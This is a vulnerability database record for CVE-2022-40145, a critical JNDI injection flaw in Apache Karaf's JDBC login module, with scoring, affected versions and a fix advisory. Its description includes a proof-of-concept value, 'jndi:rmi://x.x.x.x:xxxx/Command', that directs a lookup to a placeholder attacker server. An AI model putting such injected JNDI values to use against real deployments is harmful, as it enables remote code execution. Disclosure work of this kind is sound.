FKIE_CVE-2022-40145

Vulnerability from fkie_nvd - Published: 2022-12-21 16:15 - Updated: 2025-04-15 18:15
Severity ?
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
References
security@apache.orghttps://karaf.apache.org/security/cve-2022-40145.txtVendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://karaf.apache.org/security/cve-2022-40145.txtVendor Advisory
Impacted products
Vendor Product Version
apache karaf *
apache karaf *
To clipboard 

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CEDC6799-2894-4DB9-A66B-9481580EDC66",
              "versionEndExcluding": "4.3.8",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "3320F4C0-A9F6-43C3-B473-1E56EFD0086D",
              "versionEndExcluding": "4.4.2",
              "versionStartIncluding": "4.4.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify\u00a0`options.put(JDBCUtils.DATASOURCE, \"osgi:\" +\u00a0DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"
    },
    {
      "lang": "es",
      "value": "Esta vulnerabilidad se trata de una posible inyecci\u00f3n de c\u00f3digo cuando un atacante tiene el control del servidor LDAP de destino utilizando la URL JDBC JNDI. La funci\u00f3n jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sin filtrar. Un usuario puede modificar `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` a `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://xxxx:xxxx/Command \");` en JdbcLoginModuleTest#setup. Esto es vulnerable a un ataque de ejecuci\u00f3n remota de c\u00f3digo (RCE) cuando una configuraci\u00f3n utiliza un URI de origen de datos LDAP JNDI cuando un atacante tiene control del servidor LDAP de destino. Este problema afecta a todas las versiones de Apache Karaf hasta 4.4.1 y 4.3.7. Animamos a los usuarios a actualizar a Apache Karaf al menos 4.4.2 o 4.3.8."
    }
  ],
  "id": "CVE-2022-40145",
  "lastModified": "2025-04-15T18:15:44.667",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "type": "Secondary"
      }
    ]
  },
  "published": "2022-12-21T16:15:08.930",
  "references": [
    {
      "source": "security@apache.org",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://karaf.apache.org/security/cve-2022-40145.txt"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://karaf.apache.org/security/cve-2022-40145.txt"
    }
  ],
  "sourceIdentifier": "security@apache.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-74"
        }
      ],
      "source": "security@apache.org",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "NVD-CWE-Other"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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